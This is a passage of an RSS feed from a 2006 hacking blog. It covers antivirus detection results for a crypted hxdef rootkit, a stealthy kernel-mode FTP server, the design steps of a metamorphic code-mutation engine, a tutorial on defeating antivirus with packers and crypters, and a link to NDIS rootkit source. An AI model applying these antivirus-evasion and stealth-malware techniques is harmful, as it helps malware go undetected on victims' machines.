Ewido 3.5 03.01.2006 no virus found<br>
Fortinet 2.71.0.0 03.01.2006 suspicious<br>
F-Prot 3.16c 03.01.2006 no virus found<br>
Ikarus 0.2.59.0 03.01.2006 Backdoor.Win32.HacDef.084<br>
Kaspersky 4.0.2.24 03.01.2006 no virus found<br>
McAfee 4708 03.01.2006 no virus found<br>
NOD32v2 1.1422 03.01.2006 a variant of Win32/HacDef<br>
Norman 5.70.10 03.01.2006 no virus found<br>
Panda 9.0.0.4 03.01.2006 Suspicious file<br>
Sophos 4.03.0 03.01.2006 no virus found<br>
Symantec 8.0 03.01.2006 no virus found<br>
TheHacker 5.9.5.103 02.28.2006 no virus found<br>
UNA 1.83 03.01.2006 no virus found<br>
VBA32 3.10.5 03.01.2006 BackDoor.HackDef.164</p>
	<p>Out of 24 AV vendors, only 4 correctly identified the file as hxdef.  Another 3 marked it as suspicious.</p>
	<p>This means we have a 30% of AV detecting the file, 3 months after release of the packer.  More worryingly, all the popular AV are not detecting it (KAV, McAfee, Symantec).</p>
	<p>I suspect that the ones who do detect it, are not recognising the packer, but instead are seeing the Import Address Table of hxdef, which I did not encrypt.</p>
	<p>Very poor response time, given the amount of fees that they charge,
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/03/01/codecrypter~604986/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/28/kernel_mode_ftpserver~601541/"><default:title>kernel mode ftpserver</default:title><default:link>http://tibbar.blog.co.uk/2006/02/28/kernel_mode_ftpserver~601541/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-28T20:04:58+01:00</dc:date><default:description>	&lt;p&gt;I've been working on kernel mode sockets for some time now, which thanks to Valerino from rootkit.com, are available to all of us for free:&lt;/p&gt;
	&lt;p&gt;&lt;a href="http://www.rootkit.com/newsread.php?newsid=416"&gt;http://www.rootkit.com/newsread.php?newsid=416&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;I extended this library to support the full TCP unix socket library and wanted to write an ftp server that runs purely in the kernel.  My only problem was that I didn't want to reinvent the wheel by writing an entire ftp server myself.&lt;/p&gt;
	&lt;p&gt;[ a kernel mode ftp server will run as a device driver, and will allow the server to operate with complete stealth from both firewalls and usermode port listing applications.]&lt;/p&gt;
	&lt;p&gt;So I was rather pleased seeing this link arrive in my inbox from codeproject.com this morning:&lt;/p&gt;
	&lt;p&gt;&lt;a href="http://www.codeproject.com/internet/CFtpServer.asp"&gt;http://www.codeproject.com/internet/CFtpServer.asp&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;it's been written in portable code, for windows or linux, which will make my job so much easier...
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/28/kernel_mode_ftpserver~601541/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>I've been working on kernel mode sockets for some time now, which thanks to Valerino from rootkit.com, are available to all of us for free:</p>
	<p><a href="http://www.rootkit.com/newsread.php?newsid=416">http://www.rootkit.com/newsread.php?newsid=416</a></p>
	<p>I extended this library to support the full TCP unix socket library and wanted to write an ftp server that runs purely in the kernel.  My only problem was that I didn't want to reinvent the wheel by writing an entire ftp server myself.</p>
	<p>[ a kernel mode ftp server will run as a device driver, and will allow the server to operate with complete stealth from both firewalls and usermode port listing applications.]</p>
	<p>So I was rather pleased seeing this link arrive in my inbox from codeproject.com this morning:</p>
	<p><a href="http://www.codeproject.com/internet/CFtpServer.asp">http://www.codeproject.com/internet/CFtpServer.asp</a></p>
	<p>it's been written in portable code, for windows or linux, which will make my job so much easier...
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/28/kernel_mode_ftpserver~601541/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/18/away~573482/"><default:title>away</default:title><default:link>http://tibbar.blog.co.uk/2006/02/18/away~573482/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-18T23:15:45+01:00</dc:date><default:description>	&lt;p&gt;i will be gone for the next 4 weeks doing some hardcore studing for some professional exams...&lt;/p&gt;
	&lt;p&gt;see you in a while!&lt;/p&gt;
	&lt;p&gt;tibbar.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/18/away~573482/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>i will be gone for the next 4 weeks doing some hardcore studing for some professional exams...</p>
	<p>see you in a while!</p>
	<p>tibbar.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/18/away~573482/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/18/tibbar_org~571860/"><default:title>tibbar.org</default:title><default:link>http://tibbar.blog.co.uk/2006/02/18/tibbar_org~571860/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-18T09:38:57+01:00</dc:date><default:description>	&lt;p&gt;some exciting news, i have purchased the domain &lt;a href="http://www.tibbar.org"&gt;www.tibbar.org&lt;/a&gt;, which i intend to use to host this blog and a proper website which will contain tutorials and the code to my tools.&lt;/p&gt;
	&lt;p&gt;note that this blog entry was posted last night, but the entry got deleted by accident, so im reposting...
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/18/tibbar_org~571860/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>some exciting news, i have purchased the domain <a href="http://www.tibbar.org">www.tibbar.org</a>, which i intend to use to host this blog and a proper website which will contain tutorials and the code to my tools.</p>
	<p>note that this blog entry was posted last night, but the entry got deleted by accident, so im reposting...
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/18/tibbar_org~571860/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/16/code_perversion~568650/"><default:title>Code Perversion</default:title><default:link>http://tibbar.blog.co.uk/2006/02/16/code_perversion~568650/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-16T23:57:49+01:00</dc:date><default:description>	&lt;p&gt;A little project of mine has been to write a complete code pervertor that would actually modify the opcodes of an executable, to perform equivalent operations but using different opcodes.  This would be the ultimate method of "crypting" a file, since the executable in memory would still remain unique and undetected.&lt;/p&gt;
	&lt;p&gt;I therefore set about creating an engine that modifies the code with equivalent operations.&lt;/p&gt;
	&lt;p&gt;For instance,&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;mov EAX, 5;&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;is equivalent to:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;push 5; pop EAX;&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;so I developed a library of equivalent operations for every x86 instruction commonly used. The engine will:&lt;/p&gt;
	&lt;p&gt;1) disassemble each instruction in a section of code;&lt;br&gt;
2) select a random equivalent operation;&lt;br&gt;
3) calculate extra space required to fit new equivalent operations and insert space in code;&lt;br&gt;
4) assemble the equivalent operations.&lt;br&gt;
5) scan entire code section looking for jmp's, jcc's, call's and adjusting the address they reference to allow for the extra space inserted in step 3.&lt;/p&gt;
	&lt;p&gt;Now, this actually has been done before. Zombie wrote code pervertor which could achieve this but only for instructions that have an equivalent instruction of equal size in bytes when assembled. I will be taking this to the next level.&lt;/p&gt;
	&lt;p&gt;The engine is currently mid-way through development and uses ollydbg's disassembler engine to perform the tedious task of disassembling each instruction.&lt;/p&gt;
	&lt;p&gt;While it's not complete, here's how it is working on a stub used in a program called Code Crypter that I wrote a while back.&lt;/p&gt;
	&lt;p&gt;&lt;img src="http://img434.imageshack.us/img434/9020/packerstub1ec.jpg" alt="" title=""&gt;&lt;/p&gt;
	&lt;p&gt;the table view makes it easy to see how it is mutating each opcode.  This was using a very limited library of equivalent opcodes for testing purposes.&lt;/p&gt;
	&lt;p&gt;The big problem at moment is handling things like JMP EAX.  I have to use a little stub to adjust for code movement, which is not quite working yet.&lt;/p&gt;
	&lt;p&gt;The encrpytion process is recursive and pretty slow.  It takes about 30 minutes to fully mutate a typical 100k executable.  This is because each time it swaps an opcode for an equivalent sequence of opcodes, it must adjust all the JXX, JMP, CALL's in the code, for the padded space added by inserting the new code.&lt;/p&gt;
	&lt;p&gt;Hopefully I will get some time to work on this again soon.&lt;/p&gt;
	&lt;p&gt;Tibbar.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/16/code_perversion~568650/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>A little project of mine has been to write a complete code pervertor that would actually modify the opcodes of an executable, to perform equivalent operations but using different opcodes.  This would be the ultimate method of "crypting" a file, since the executable in memory would still remain unique and undetected.</p>
	<p>I therefore set about creating an engine that modifies the code with equivalent operations.</p>
	<p>For instance,</p>
	<blockquote><p>mov EAX, 5;</p></blockquote>
	<p>is equivalent to:</p>
	<blockquote><p>push 5; pop EAX;</p></blockquote>
	<p>so I developed a library of equivalent operations for every x86 instruction commonly used. The engine will:</p>
	<p>1) disassemble each instruction in a section of code;<br>
2) select a random equivalent operation;<br>
3) calculate extra space required to fit new equivalent operations and insert space in code;<br>
4) assemble the equivalent operations.<br>
5) scan entire code section looking for jmp's, jcc's, call's and adjusting the address they reference to allow for the extra space inserted in step 3.</p>
	<p>Now, this actually has been done before. Zombie wrote code pervertor which could achieve this but only for instructions that have an equivalent instruction of equal size in bytes when assembled. I will be taking this to the next level.</p>
	<p>The engine is currently mid-way through development and uses ollydbg's disassembler engine to perform the tedious task of disassembling each instruction.</p>
	<p>While it's not complete, here's how it is working on a stub used in a program called Code Crypter that I wrote a while back.</p>
	<p><img src="http://img434.imageshack.us/img434/9020/packerstub1ec.jpg" alt="" title=""></p>
	<p>the table view makes it easy to see how it is mutating each opcode.  This was using a very limited library of equivalent opcodes for testing purposes.</p>
	<p>The big problem at moment is handling things like JMP EAX.  I have to use a little stub to adjust for code movement, which is not quite working yet.</p>
	<p>The encrpytion process is recursive and pretty slow.  It takes about 30 minutes to fully mutate a typical 100k executable.  This is because each time it swaps an opcode for an equivalent sequence of opcodes, it must adjust all the JXX, JMP, CALL's in the code, for the padded space added by inserting the new code.</p>
	<p>Hopefully I will get some time to work on this again soon.</p>
	<p>Tibbar.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/16/code_perversion~568650/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/16/defeating_anti_virus_with_crypters~566079/"><default:title>Defeating Anti-Virus with Crypters</default:title><default:link>http://tibbar.blog.co.uk/2006/02/16/defeating_anti_virus_with_crypters~566079/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-16T00:30:29+01:00</dc:date><default:description>	&lt;p&gt;I've promised I would explain why you cannot trust Anti-Virus software.&lt;/p&gt;
	&lt;p&gt;As this is a long topic, I will spread the tutorial over several blog entries, when I have time to spend here.&lt;/p&gt;
	&lt;p&gt;To understand how to defeat AV, you first need to understand how they work.&lt;/p&gt;
	&lt;p&gt;The key principle that has underpinned virus detection for the last 10 years, is to recognise viri not by their behaviour, but through a digital signature of their code.&lt;/p&gt;
	&lt;p&gt;Let me explain this more carefully...  the AV program has probably around 100,000 files to scan on a typical hard drive.  It's a very slow process to check each file in detail, so what AV do is to have a database of signatures (each signature is a piece of binary code that uniquely identifies the virus), and they simply check each file for a known signature.&lt;/p&gt;
	&lt;p&gt;This is much quicker than actually trying to determine what a particular executable's behaviour is.&lt;/p&gt;
	&lt;p&gt;Many AV can also do "heuristic" scanning.  This sounds rather clever, but in fact it is not!  Usually this means the AV will flag near matches to signatures as well, when performing the scan.&lt;/p&gt;
	&lt;p&gt;Finally, many AV will perform a "memory scan".  This sounds like they are scanning the memory of each running process for known virus signatures.  The truth is somewhat different - most AV "memory scans" are actually doing the following:&lt;/p&gt;
	&lt;p&gt;1) enumerate all running process names&lt;br&gt;
2) for each process, scan the disk image of the process for known virus signatures.&lt;/p&gt;
	&lt;p&gt;only one or two products actually perform a real memory scan (none of the mainstream AV do a real memory scan).&lt;/p&gt;
	&lt;p&gt;Ok, so what we now know is that to defeat AV, the malware needs to be free of any bytes of code that match known virus signatures.&lt;/p&gt;
	&lt;p&gt;This means there are several options open to the hacker.  She can:&lt;/p&gt;
	&lt;p&gt;a) write her own malware from scratch, which will be new and unknown to AV&lt;/p&gt;
	&lt;p&gt;b) use a "packer / crypter" to alter the binary image on disk, so that AV cannot match any signatures to the "packed / crypted" file.&lt;/p&gt;
	&lt;p&gt;c) use a code perversion engine, that will substitute equivalent opcodes for each opcode used in the executable's code.  This is an extremely complex process and no public tools exist to achieve this fully (I have been working on this, but the tool is not complete).  Z0mbie wrote a basic perversion tool some time back.  His comments about it are:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt; Almost all trojans and viruses are detected using simple signatures. Which means that simple crc is calculated on the entire file, or on some parts of the code being checked.&lt;/p&gt;
	&lt;p&gt;There are thousands of simple signatures already stored in the antiviral databases. Each signature is equivalent to hours of an aver's work.&lt;/p&gt;
	&lt;p&gt;Using simple length disassembler and some simple rules, it is possible to analyze an arbitrary executable file and change some instructions in it, so that it will run the same as before, but file's checksum will be changed.&lt;/p&gt;
	&lt;p&gt;This means that antivirus will no longer be able to identify these files by using the previous checksums.&lt;/p&gt;
	&lt;p&gt;A tool called "Code Pervertor" was written some years ago. It can analyze a PE file and swap a few equivalent instructions, such as "test eax, eax" with "or eax, eax" and vice versa.&lt;/p&gt;
	&lt;p&gt;Another similar process is "diversification", which means the random changing of some data offsets within all system DLLs and services. Diversification complicates exploitation based on fixed address usage and will probably soon be implemented as a security measure.&lt;/p&gt;
	&lt;p&gt;Now imagine that some worm "perverted" and "diversified" all executable files it found on a machines over the net. It is likely that the same vulnerable machines will also contain trojans. So when all these trojans become unique, what avers will do?&lt;/p&gt;
	&lt;p&gt;There are two methods of detecting such a modified files.&lt;/p&gt;
	&lt;p&gt;First method is to modify files before analyzing, the same as "code pervertors" do, but without the randomization. For example, if some instructions can be interchanged with each other, perform one-way changes only, for example replace all "or eax, eax" with "test eax, eax", but not vice versa.&lt;/p&gt;
	&lt;p&gt;This method has tons of negative aspects: there can be many different methods of file modification, but some of them can be irreversible.&lt;/p&gt;
	&lt;p&gt;The second method consists of re-writing all checksum algorithms and recalculating all the signatures. The new checksum algorithm should become invariant to simple modifications such as swapping equal or interchangable instructions with each other.&lt;/p&gt;
	&lt;p&gt;This method is something like image recognition, where the new algorithm can return an equal result for many different data inputs.&lt;/p&gt;
	&lt;p&gt;This method also has a serious disadvantage. If someone introduced a new file modification method, the checksum algorithm will have to be once again changed and all the antiviral signatures recalculated.&lt;/p&gt;
	&lt;p&gt;A few hundred infected machines with automatic "pervertors" will catch all the new just-released worms and viruses and modify 'em "on the fly", automatically spawning new variants.&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;Option c) if ever achieved will render all AV absolutely useless.  Scary eh?&lt;/p&gt;
	&lt;p&gt;Option a) is a reasonable choice, but our hacker may not have the necessary skills to write all the nasty tools she needs, and also once they are released in the wild, AV will eventually put signatures on them, which will mean she has wasted her time coding them.&lt;/p&gt;
	&lt;p&gt;This leaves option b) as the best solution to defeating AV at the current time.&lt;/p&gt;
	&lt;p&gt;Now, what exactly do I mean by packing / crypting?&lt;/p&gt;
	&lt;p&gt;Essentially, the technique involves taking all the code and data from an executable file, and applying an encryption algorithm to it, to ensure no signatures can be matched on it.&lt;/p&gt;
	&lt;p&gt;The new "packed / crypted" executable will include the encrypted data and code from the original executable, plus a "stub".  The "stub" is a piece of code that can decrypt and reconstruct the original executable dynamically at runtime.&lt;/p&gt;
	&lt;p&gt;This means that on disk, the crypted executable is undetected to AV scanners, but once it is executed, it will behave and appear exactly like the original file.&lt;/p&gt;
	&lt;p&gt;A packer is exactly the same as a crypter, except that instead of using an encryption algorithm, it uses a compression algorithm.  This makes the file both undetected and much smaller in size.&lt;/p&gt;
	&lt;p&gt;This all sounds pretty bad from the AV perspective.  Fortuntely, in practice, the number of crypters and packers available on public sites is quite small.  The AV firms analyse packers and crypters that they find, and alter the AV signatures to detect files that are packer / crypted using known packers / crypters.  Some AV will include a decryption algorithm in their scanners, so they can find out what lies beneath!&lt;/p&gt;
	&lt;p&gt;Now, for some bad news... It is surprisingly easy to create your own crypter, and most private hacking groups have made their own custom crypters or packers.&lt;/p&gt;
	&lt;p&gt;One public crypter that beat most AV for a period of over a year, was morphine from &lt;a href="http://www.hxdef.org."&gt;www.hxdef.org.&lt;/a&gt;  This is quite an advanced crypter, but given the resources available to AV firms, I was shocked how slowly they responded.&lt;/p&gt;
	&lt;p&gt;Let me reinforce this point.  &lt;strong&gt;All private packers or crypters are undetected to AV.  This means malware will not be detected by AV scanners, when using private packers or crypters.&lt;/strong&gt;&lt;/p&gt;
	&lt;p&gt;So you should never trust you AV when it tells you a file is clean.  If that file comes from an untrusted source be very suspicious.  Use run as limited user if you must execute it.  Also consider using a virtual machine and try using online scanners like &lt;a href="http://www.virustotal.com"&gt;http://www.virustotal.com&lt;/a&gt; to perform multi-scans against all AV engines - these tend to catch more things, than a single AV.&lt;/p&gt;
	&lt;p&gt;Next blog will tell you how to write you own crypter...
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/16/defeating_anti_virus_with_crypters~566079/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>I've promised I would explain why you cannot trust Anti-Virus software.</p>
	<p>As this is a long topic, I will spread the tutorial over several blog entries, when I have time to spend here.</p>
	<p>To understand how to defeat AV, you first need to understand how they work.</p>
	<p>The key principle that has underpinned virus detection for the last 10 years, is to recognise viri not by their behaviour, but through a digital signature of their code.</p>
	<p>Let me explain this more carefully...  the AV program has probably around 100,000 files to scan on a typical hard drive.  It's a very slow process to check each file in detail, so what AV do is to have a database of signatures (each signature is a piece of binary code that uniquely identifies the virus), and they simply check each file for a known signature.</p>
	<p>This is much quicker than actually trying to determine what a particular executable's behaviour is.</p>
	<p>Many AV can also do "heuristic" scanning.  This sounds rather clever, but in fact it is not!  Usually this means the AV will flag near matches to signatures as well, when performing the scan.</p>
	<p>Finally, many AV will perform a "memory scan".  This sounds like they are scanning the memory of each running process for known virus signatures.  The truth is somewhat different - most AV "memory scans" are actually doing the following:</p>
	<p>1) enumerate all running process names<br>
2) for each process, scan the disk image of the process for known virus signatures.</p>
	<p>only one or two products actually perform a real memory scan (none of the mainstream AV do a real memory scan).</p>
	<p>Ok, so what we now know is that to defeat AV, the malware needs to be free of any bytes of code that match known virus signatures.</p>
	<p>This means there are several options open to the hacker.  She can:</p>
	<p>a) write her own malware from scratch, which will be new and unknown to AV</p>
	<p>b) use a "packer / crypter" to alter the binary image on disk, so that AV cannot match any signatures to the "packed / crypted" file.</p>
	<p>c) use a code perversion engine, that will substitute equivalent opcodes for each opcode used in the executable's code.  This is an extremely complex process and no public tools exist to achieve this fully (I have been working on this, but the tool is not complete).  Z0mbie wrote a basic perversion tool some time back.  His comments about it are:</p>
	<blockquote><p> Almost all trojans and viruses are detected using simple signatures. Which means that simple crc is calculated on the entire file, or on some parts of the code being checked.</p>
	<p>There are thousands of simple signatures already stored in the antiviral databases. Each signature is equivalent to hours of an aver's work.</p>
	<p>Using simple length disassembler and some simple rules, it is possible to analyze an arbitrary executable file and change some instructions in it, so that it will run the same as before, but file's checksum will be changed.</p>
	<p>This means that antivirus will no longer be able to identify these files by using the previous checksums.</p>
	<p>A tool called "Code Pervertor" was written some years ago. It can analyze a PE file and swap a few equivalent instructions, such as "test eax, eax" with "or eax, eax" and vice versa.</p>
	<p>Another similar process is "diversification", which means the random changing of some data offsets within all system DLLs and services. Diversification complicates exploitation based on fixed address usage and will probably soon be implemented as a security measure.</p>
	<p>Now imagine that some worm "perverted" and "diversified" all executable files it found on a machines over the net. It is likely that the same vulnerable machines will also contain trojans. So when all these trojans become unique, what avers will do?</p>
	<p>There are two methods of detecting such a modified files.</p>
	<p>First method is to modify files before analyzing, the same as "code pervertors" do, but without the randomization. For example, if some instructions can be interchanged with each other, perform one-way changes only, for example replace all "or eax, eax" with "test eax, eax", but not vice versa.</p>
	<p>This method has tons of negative aspects: there can be many different methods of file modification, but some of them can be irreversible.</p>
	<p>The second method consists of re-writing all checksum algorithms and recalculating all the signatures. The new checksum algorithm should become invariant to simple modifications such as swapping equal or interchangable instructions with each other.</p>
	<p>This method is something like image recognition, where the new algorithm can return an equal result for many different data inputs.</p>
	<p>This method also has a serious disadvantage. If someone introduced a new file modification method, the checksum algorithm will have to be once again changed and all the antiviral signatures recalculated.</p>
	<p>A few hundred infected machines with automatic "pervertors" will catch all the new just-released worms and viruses and modify 'em "on the fly", automatically spawning new variants.</p></blockquote>
	<p>Option c) if ever achieved will render all AV absolutely useless.  Scary eh?</p>
	<p>Option a) is a reasonable choice, but our hacker may not have the necessary skills to write all the nasty tools she needs, and also once they are released in the wild, AV will eventually put signatures on them, which will mean she has wasted her time coding them.</p>
	<p>This leaves option b) as the best solution to defeating AV at the current time.</p>
	<p>Now, what exactly do I mean by packing / crypting?</p>
	<p>Essentially, the technique involves taking all the code and data from an executable file, and applying an encryption algorithm to it, to ensure no signatures can be matched on it.</p>
	<p>The new "packed / crypted" executable will include the encrypted data and code from the original executable, plus a "stub".  The "stub" is a piece of code that can decrypt and reconstruct the original executable dynamically at runtime.</p>
	<p>This means that on disk, the crypted executable is undetected to AV scanners, but once it is executed, it will behave and appear exactly like the original file.</p>
	<p>A packer is exactly the same as a crypter, except that instead of using an encryption algorithm, it uses a compression algorithm.  This makes the file both undetected and much smaller in size.</p>
	<p>This all sounds pretty bad from the AV perspective.  Fortuntely, in practice, the number of crypters and packers available on public sites is quite small.  The AV firms analyse packers and crypters that they find, and alter the AV signatures to detect files that are packer / crypted using known packers / crypters.  Some AV will include a decryption algorithm in their scanners, so they can find out what lies beneath!</p>
	<p>Now, for some bad news... It is surprisingly easy to create your own crypter, and most private hacking groups have made their own custom crypters or packers.</p>
	<p>One public crypter that beat most AV for a period of over a year, was morphine from <a href="http://www.hxdef.org.">www.hxdef.org.</a>  This is quite an advanced crypter, but given the resources available to AV firms, I was shocked how slowly they responded.</p>
	<p>Let me reinforce this point.  <strong>All private packers or crypters are undetected to AV.  This means malware will not be detected by AV scanners, when using private packers or crypters.</strong></p>
	<p>So you should never trust you AV when it tells you a file is clean.  If that file comes from an untrusted source be very suspicious.  Use run as limited user if you must execute it.  Also consider using a virtual machine and try using online scanners like <a href="http://www.virustotal.com">http://www.virustotal.com</a> to perform multi-scans against all AV engines - these tend to catch more things, than a single AV.</p>
	<p>Next blog will tell you how to write you own crypter...
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/16/defeating_anti_virus_with_crypters~566079/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/15/ndis_backdoor~566018/"><default:title>NDIS backdoor</default:title><default:link>http://tibbar.blog.co.uk/2006/02/15/ndis_backdoor~566018/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-15T23:50:44+01:00</dc:date><default:description>	&lt;p&gt;I just spotted a scary looking rootkit project:&lt;/p&gt;
	&lt;p&gt;&lt;a href="http://www.xfocus.net/tools/200602/uay_source.rar"&gt;http://www.xfocus.net/tools/200602/uay_source.rar&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;this is written by a guy called Uay, and it has the makings of a powerful rootkit.&lt;/p&gt;
	&lt;p&gt;He has hooked the lowest level point of networking in the kernel, the ndis layer, which means he is invisible to software firewalls.&lt;/p&gt;
	&lt;p&gt;The rootkit at the moment will provide a "cmd.exe" style shell that supports commands such as cd, dir copy, del using native api that are exported by ntoskrnl.exe.&lt;/p&gt;
	&lt;p&gt;I suspect it will also be invisible to most rootkit detectors, as he is not hiding anything like files, ports etc - although a ndis hook detector will find it.&lt;/p&gt;
	&lt;p&gt;This reminds me of some ideas I had been working on recently - implementing malware purely in the kernel.&lt;/p&gt;
	&lt;p&gt;I've made a ircbot that runs 100% in ring0 for fun, using Valerino's socket library for the kernel.  Perhaps I will post it here some time soon...&lt;/p&gt;
	&lt;p&gt;Oh and on a closing note, check out Yorn's blog at: &lt;a href="http://yorn.wordpress.com/"&gt;http://yorn.wordpress.com/&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;See ya.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/15/ndis_backdoor~566018/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>I just spotted a scary looking rootkit project:</p>
	<p><a href="http://www.xfocus.net/tools/200602/uay_source.rar">http://www.xfocus.net/tools/200602/uay_source.rar</a></p>
	<p>this is written by a guy called Uay, and it has the makings of a powerful rootkit.</p>
	<p>He has hooked the lowest level point of networking in the kernel, the ndis layer, which means he is invisible to software firewalls.</p>
	<p>The rootkit at the moment will provide a "cmd.exe" style shell that supports commands such as cd, dir copy, del using native api that are exported by ntoskrnl.exe.</p>
	<p>I suspect it will also be invisible to most rootkit detectors, as he is not hiding anything like files, ports etc - although a ndis hook detector will find it.</p>
	<p>This reminds me of some ideas I had been working on recently - implementing malware purely in the kernel.</p>
	<p>I've made a ircbot that runs 100% in ring0 for fun, using Valerino's socket library for the kernel.  Perhaps I will post it here some time soon...</p>
	<p>Oh and on a closing note, check out Yorn's blog at: <a href="http://yorn.wordpress.com/">http://yorn.wordpress.com/</a></p>
	<p>See ya.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/15/ndis_backdoor~566018/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/14/two_way_authentication_to_defeat_phishin~560753/"><default:title>Two way authentication to defeat Phishing</default:title><default:link>http://tibbar.blog.co.uk/2006/02/14/two_way_authentication_to_defeat_phishin~560753/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-14T03:11:12+01:00</dc:date><default:description>	&lt;p&gt;Phishing is becoming an increasingly big problem on the net.  For those of you who are not familiar with the term, Wikipedia defines it as:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;In computing, phishing is a form of social engineering, characterized by attempts to fraudulently acquire sensitive information, such as passwords and credit card details, by masquerading as a trustworthy person or business in an apparently official electronic communication, such as an email or an instant message.&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;&lt;img src="http://upload.wikimedia.org/wikipedia/en/thumb/d/d0/PhishingTrustedBank.png/280px-PhishingTrustedBank.png" alt="" title=""&gt;&lt;/p&gt;
	&lt;p&gt;When the end user receives an email that for all purposes appears genuine and appears to originate from a trusted source, the psychological effect is to lower the levels of suspicion the user would normally have, when asked to provide sensitive information.&lt;/p&gt;
	&lt;p&gt;There really is very little we can do to stop Phishers from making carbon copies of websites, spoofing email addresses and even buying ssl certificates to make their site appear more genuine.&lt;/p&gt;
	&lt;p&gt;The underlying problem here is the way authentication is performed on the internet.  When we are dealing with financial services such as internet banking, we currently have a one-way authentication process - the customer is required to prove to the internet site, that she is the legitimate owner of a bank account.  This authentication is normally performed through providing a password and perhaps a date of birth.&lt;/p&gt;
	&lt;p&gt;However, this is really only half the story...&lt;/p&gt;
